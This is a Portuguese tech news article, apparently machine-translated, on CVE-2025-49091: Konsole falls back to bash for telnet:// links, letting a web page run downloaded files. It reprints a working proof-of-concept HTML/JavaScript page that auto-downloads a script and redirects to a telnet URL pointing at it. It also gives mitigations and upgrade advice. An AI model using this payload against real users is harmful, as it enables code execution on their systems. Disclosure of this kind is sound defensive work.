Vulnerabilidade grave no Konsole permite execução de código simplesmente abrindo uma página da web

Vulnerabilidade

Há alguns dias foi divulgada informação sobre uma vulnerabilidade crítica, que foi identificado em "CVE-2025-49091«. Esta vulnerabilidade descoberto em Konsole (o emulador de terminal KDE), permite a execução remota de código simplesmente visitando uma página web maliciosa de um navegador.

É mencionado que este problema afeta sistemas onde o KTelnetService e uma versão vulnerável do Konsole estão instalados, mas pelo menos um dos programas telnet, rlogin ou ssh não está instalado. A vulnerabilidade está localizada no console do Emulador de Terminal do KDE. Conforme observado no aviso do KDE, as versões do Konsole anteriores à 25.04.2 são vulneráveis.

O Konsole oferece suporte ao carregamento de URLs de controladores de esquema como
telnet://URL. Isso pode ser executado independentemente do telnet
O binário está disponível.

Neste modo, o Konsole tinha uma rota onde, se o Telnet não estivesse disponível,
usaria o bash novamente para os argumentos fornecidos; o que
é a URL fornecida. Isso permite que um invasor execute código arbitrário.
código.

Os navegadores geralmente exibem uma mensagem quando um usuário abre um navegador externo.
Controlador de esquema que pode parecer suspeito e exigir interação do usuário
ser explorável.

A origem do problema: KTelnetService e esquemas de URL perigosos

Os pesquisadores observam que o problema por trás dessa vulnerabilidade reside no comportamento do serviço KTelnetService, incluído por padrão no KDE. Este serviço é responsável por processar os esquemas de URL telnet://, rlogin:// e ssh:// e foi projetado para abrir esses links diretamente no Konsole usando os utilitários correspondentes (telnet, rlogin ou ssh).

No entanto, a falha ocorre quando esses utilitários não estão instalados no sistema. Nesse caso, o Konsole, ao tentar executar o comando indicado no link, usa /bin/bash como substituto. Portanto, um invasor pode construir um link personalizado.

Embora isso pareça insignificante à primeira vista, o problema se agrava porque o invasor pode executar qualquer arquivo no diretório de downloads do usuário usando o comando personalizado. Em outras palavras, qualquer arquivo é executado automaticamente se o usuário clicar em um link com esse esquema.

Por que isso é tão perigoso?

Navegadores modernos como Firefox e Chrome (em suas configurações padrão) salvam automaticamente os arquivos baixados na pasta ~/Downloads, sem exigir confirmação do usuário. Eles só exibem uma notificação após a conclusão do download.

Esse comportamento, combinado com o fato de que em sistemas Linux é possível acessar o caminho do diretório atual do navegador, permite que um arquivo malicioso baixado automaticamente seja executado posteriormente do Konsole sem o conhecimento do usuário.

Prova de conceito (PoC): como a vulnerabilidade é explorada

Para demonstrar o perigo da falha, os pesquisadores criaram o seguinte trecho de código JavaScript, que demonstra como um invasor pode explorar essa vulnerabilidade em uma página da web:

<html>
<head>
<script type="text/javascript">

function downloadAndRedirect() {
const anchor = document.createElement('a');
anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==";
anchor.download = 'evil';
document.body.appendChild(anchor);
anchor.click();
document.body.removeChild(anchor);

setTimeout(() => {
window.location.href = "telnet:///proc/self/cwd/Downloads/evil";
}, 1000);
}
</script>
</head>
<body onload="downloadAndRedirect()">
</body>
</html>

No Firefox e no Chrome, se o usuário aceitar o link telnet://, o seguinte será invocado:

/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil

E, se o telnet não estiver presente, o script malicioso será executado com o bash.

Medidas temporárias de mitigação

Enquanto espera pelo patch ou se você não puder atualizar imediatamente, há duas maneiras simples de atenuar o problema:

Instale os utilitários telnet, rlogin e ssh

Se esses utilitários estiverem presentes, o Konsole os invocará corretamente e não recorrerá ao bash. Isso evita que conteúdo arbitrário seja executado como um script.

sudo apt install telnet rlogin openssh-client

Excluir o arquivo de serviço KTelnetService

Você pode excluir o arquivo responsável pelo registro desses esquemas:

sudo rm /usr/share/applications/ktelnetservice6.desktop

Isso impedirá que links telnet://, rlogin:// ou ssh:// sejam manipulados automaticamente pelo Konsole.

Solução: Atualização urgente para o Konsole 25.04.2

A vulnerabilidade foi corrigida na versão 25.04.2 do Konsole, incluída na atualização do KDE Gear 25.04.2. Recomenda-se fortemente que todos os usuários e administradores de sistema atualizem imediatamente.

Por fim, se estiver interessado em saber mais sobre o assunto, pode consultar os detalhes no link a seguir


Deixe um comentário

Seu endereço de email não será publicado. Campos obrigatórios são marcados com *

*

*

  1. Responsável pelos dados: Miguel Ángel Gatón
  2. Finalidade dos dados: Controle de SPAM, gerenciamento de comentários.
  3. Legitimação: Seu consentimento
  4. Comunicação de dados: Os dados não serão comunicados a terceiros, exceto por obrigação legal.
  5. Armazenamento de dados: banco de dados hospedado pela Occentus Networks (UE)
  6. Direitos: A qualquer momento você pode limitar, recuperar e excluir suas informações.